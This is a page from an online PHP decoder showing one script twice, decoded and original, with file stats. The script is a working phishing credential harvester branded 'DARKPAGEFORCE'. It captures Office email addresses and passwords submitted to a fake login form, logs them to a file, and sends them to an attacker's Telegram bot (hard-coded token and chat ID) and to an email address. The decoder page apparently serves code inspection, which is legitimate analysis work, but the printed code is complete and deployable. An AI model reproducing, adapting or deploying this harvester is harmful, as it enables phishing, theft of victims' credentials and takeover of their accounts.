Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php // Allow requests from any origin header("Access-Control-Allow-Origin: *"); // ..

Decoded Output download

<?php 
// Allow requests from any origin 
header("Access-Control-Allow-Origin: *"); 
 
// Allow certain methods (e.g., POST, GET) from any origin 
header("Access-Control-Allow-Methods: POST, GET"); 
 
// Allow certain headers (e.g., Content-Type) from any origin 
header("Access-Control-Allow-Headers: Content-Type"); 
 
// Allow credentials (cookies) to be sent in cross-origin requests 
header("Access-Control-Allow-Credentials: true"); 
 
session_start(); // Start session to store email temporarily 
 
// Function to send message to Telegram 
function sendMessageToTelegram($message) { 
    $telegramBotToken = '7063444114:AAHuE3Bo5H8nNf8BNsnwlrCNk5ouxw8fxME'; 
    $chatId = '5946769483'; 
 
    // Construct the URL for sending the message 
    $url = "https://api.telegram.org/bot$telegramBotToken/sendMessage"; 
 
    // Prepare the message data 
    $postData = http_build_query([ 
        'chat_id' => $chatId, 
        'text' => $message 
    ]); 
 
    // Set up options for stream context 
    $options = [ 
        'http' => [ 
            'method' => 'POST', 
            'header' => 'Content-Type: application/x-www-form-urlencoded', 
            'content' => $postData 
        ] 
    ]; 
 
    // Create stream context 
    $context = stream_context_create($options); 
 
    // Send the message to Telegram 
    file_get_contents($url, false, $context); 
} 
 
// Function to send email 
function sendEmail($subject, $message) { 
    $to = "[email protected]"; // Change this to your email address 
    // Send email 
    mail($to, $subject, $message); 
} 
 
// Retrieve raw JSON data from the request body 
$jsonData = file_get_contents('php://input'); 
 
// Log raw JSON data (for debugging purposes) 
// file_put_contents('raw_data.log', $jsonData . "
", FILE_APPEND); 
 
// Decode JSON data 
$formData = json_decode($jsonData, true); 
 
// Handle email and password separately 
if (isset($formData['username'])) { 
    // Log the received data for the email entry 
    $email = $formData['username']; 
 
    // Log data to Telegram and email for email entry 
    $emailLogData = "@Dark-Log-Entry office (Email Entry)
"; 
    $emailLogData .= "{
"; 
    $emailLogData .= "\"officeEmail\": \"$email\",
"; 
    $emailLogData .= "\"IP\": \"{$_SERVER['REMOTE_ADDR']}\",
"; 
    $emailLogData .= "\"COUNTRY\": \"United States\",
"; 
    $emailLogData .= "\"USERAGENT\": \"{$_SERVER['HTTP_USER_AGENT']}\",
"; 
    $emailLogData .= "\"TIME\": \"" . date('D/M/d, Y g:i a') . "\"
"; 
    $emailLogData .= "}
"; 
    $emailLogData .= "/////// POWERED BY DARKPAGEFORCE /////////
"; 
 
    // Log email data to text file 
    file_put_contents('log.txt', $emailLogData, FILE_APPEND); 
 
    // Send message to Telegram for email entry 
    sendMessageToTelegram($emailLogData); 
 
    // Send email for email entry 
    $emailSubject = "Email Form Submission"; 
    sendEmail($emailSubject, $emailLogData); 
 
    // Store the email in session 
    $_SESSION['temp_email'] = $email; 
 
    // Prompt for password 
    http_response_code(200); // OK 
    echo json_encode(array('status' => 'success', 'message' => 'Please enter your password')); 
    exit; 
} elseif (isset($formData['password'])) { 
    // Check if the password is provided and email is in session 
    if (isset($_SESSION['temp_email'])) { 
        // Retrieve the email from session 
        $email = $_SESSION['temp_email']; 
 
        // Clear the temporary email from session 
        unset($_SESSION['temp_email']); 
 
        // Log the received data for the password entry 
        $password = $formData['password']; 
 
        // Log data to Telegram and email for password entry 
        $passwordLogData = "@Dark-Log-Entry office (Password Entry)
"; 
        $passwordLogData .= "{
"; 
        $passwordLogData .= "\"officeEmail\": \"$email\",
"; 
        $passwordLogData .= "\"officePassword\": \"$password\",
"; 
        $passwordLogData .= "\"IP\": \"{$_SERVER['REMOTE_ADDR']}\",
"; 
        $passwordLogData .= "\"COUNTRY\": \"United States\",
"; 
        $passwordLogData .= "\"USERAGENT\": \"{$_SERVER['HTTP_USER_AGENT']}\",
"; 
        $passwordLogData .= "\"TIME\": \"" . date('D/M/d, Y g:i a') . "\"
"; 
        $passwordLogData .= "}
"; 
        $passwordLogData .= "/////// POWERED BY DARKPAGEFORCE /////////
"; 
 
        // Log password data to text file 
        file_put_contents('log.txt', $passwordLogData, FILE_APPEND); 
 
        // Send message to Telegram for password entry 
        sendMessageToTelegram($passwordLogData); 
 
        // Send email for password entry 
        $passwordSubject = "Password Form Submission"; 
        sendEmail($passwordSubject, $passwordLogData); 
 
        // Password logged, indicate success 
        http_response_code(200); // OK 
        echo json_encode(array('status' => 'success', 'message' => 'Password logged successfully')); 
        exit; 
    } else { 
        // No email found in session 
        http_response_code(400); // Bad Request 
        echo json_encode(array('status' => 'error', 'message' => 'Email not found in session')); 
        exit; 
    } 
} else { 
    // Missing email or password 
    http_response_code(400); // Bad Request 
    echo json_encode(array('status' => 'error', 'message' => 'Email or password is missing')); 
    exit; 
} 
?>

Did this file decode correctly?

Original Code

<?php
// Allow requests from any origin
header("Access-Control-Allow-Origin: *");

// Allow certain methods (e.g., POST, GET) from any origin
header("Access-Control-Allow-Methods: POST, GET");

// Allow certain headers (e.g., Content-Type) from any origin
header("Access-Control-Allow-Headers: Content-Type");

// Allow credentials (cookies) to be sent in cross-origin requests
header("Access-Control-Allow-Credentials: true");

session_start(); // Start session to store email temporarily

// Function to send message to Telegram
function sendMessageToTelegram($message) {
    $telegramBotToken = '7063444114:AAHuE3Bo5H8nNf8BNsnwlrCNk5ouxw8fxME';
    $chatId = '5946769483';

    // Construct the URL for sending the message
    $url = "https://api.telegram.org/bot$telegramBotToken/sendMessage";

    // Prepare the message data
    $postData = http_build_query([
        'chat_id' => $chatId,
        'text' => $message
    ]);

    // Set up options for stream context
    $options = [
        'http' => [
            'method' => 'POST',
            'header' => 'Content-Type: application/x-www-form-urlencoded',
            'content' => $postData
        ]
    ];

    // Create stream context
    $context = stream_context_create($options);

    // Send the message to Telegram
    file_get_contents($url, false, $context);
}

// Function to send email
function sendEmail($subject, $message) {
    $to = "[email protected]"; // Change this to your email address
    // Send email
    mail($to, $subject, $message);
}

// Retrieve raw JSON data from the request body
$jsonData = file_get_contents('php://input');

// Log raw JSON data (for debugging purposes)
// file_put_contents('raw_data.log', $jsonData . "\n", FILE_APPEND);

// Decode JSON data
$formData = json_decode($jsonData, true);

// Handle email and password separately
if (isset($formData['username'])) {
    // Log the received data for the email entry
    $email = $formData['username'];

    // Log data to Telegram and email for email entry
    $emailLogData = "@Dark-Log-Entry office (Email Entry)\n";
    $emailLogData .= "{\n";
    $emailLogData .= "\"officeEmail\": \"$email\",\n";
    $emailLogData .= "\"IP\": \"{$_SERVER['REMOTE_ADDR']}\",\n";
    $emailLogData .= "\"COUNTRY\": \"United States\",\n";
    $emailLogData .= "\"USERAGENT\": \"{$_SERVER['HTTP_USER_AGENT']}\",\n";
    $emailLogData .= "\"TIME\": \"" . date('D/M/d, Y g:i a') . "\"\n";
    $emailLogData .= "}\n";
    $emailLogData .= "/////// POWERED BY DARKPAGEFORCE /////////\n";

    // Log email data to text file
    file_put_contents('log.txt', $emailLogData, FILE_APPEND);

    // Send message to Telegram for email entry
    sendMessageToTelegram($emailLogData);

    // Send email for email entry
    $emailSubject = "Email Form Submission";
    sendEmail($emailSubject, $emailLogData);

    // Store the email in session
    $_SESSION['temp_email'] = $email;

    // Prompt for password
    http_response_code(200); // OK
    echo json_encode(array('status' => 'success', 'message' => 'Please enter your password'));
    exit;
} elseif (isset($formData['password'])) {
    // Check if the password is provided and email is in session
    if (isset($_SESSION['temp_email'])) {
        // Retrieve the email from session
        $email = $_SESSION['temp_email'];

        // Clear the temporary email from session
        unset($_SESSION['temp_email']);

        // Log the received data for the password entry
        $password = $formData['password'];

        // Log data to Telegram and email for password entry
        $passwordLogData = "@Dark-Log-Entry office (Password Entry)\n";
        $passwordLogData .= "{\n";
        $passwordLogData .= "\"officeEmail\": \"$email\",\n";
        $passwordLogData .= "\"officePassword\": \"$password\",\n";
        $passwordLogData .= "\"IP\": \"{$_SERVER['REMOTE_ADDR']}\",\n";
        $passwordLogData .= "\"COUNTRY\": \"United States\",\n";
        $passwordLogData .= "\"USERAGENT\": \"{$_SERVER['HTTP_USER_AGENT']}\",\n";
        $passwordLogData .= "\"TIME\": \"" . date('D/M/d, Y g:i a') . "\"\n";
        $passwordLogData .= "}\n";
        $passwordLogData .= "/////// POWERED BY DARKPAGEFORCE /////////\n";

        // Log password data to text file
        file_put_contents('log.txt', $passwordLogData, FILE_APPEND);

        // Send message to Telegram for password entry
        sendMessageToTelegram($passwordLogData);

        // Send email for password entry
        $passwordSubject = "Password Form Submission";
        sendEmail($passwordSubject, $passwordLogData);

        // Password logged, indicate success
        http_response_code(200); // OK
        echo json_encode(array('status' => 'success', 'message' => 'Password logged successfully'));
        exit;
    } else {
        // No email found in session
        http_response_code(400); // Bad Request
        echo json_encode(array('status' => 'error', 'message' => 'Email not found in session'));
        exit;
    }
} else {
    // Missing email or password
    http_response_code(400); // Bad Request
    echo json_encode(array('status' => 'error', 'message' => 'Email or password is missing'));
    exit;
}
?>

Function Calls

None

Variables

None

Stats

MD5 03763f7cf8c2ae1f618ca927d14bdfc7
Eval Count 0
Decode Time 51 ms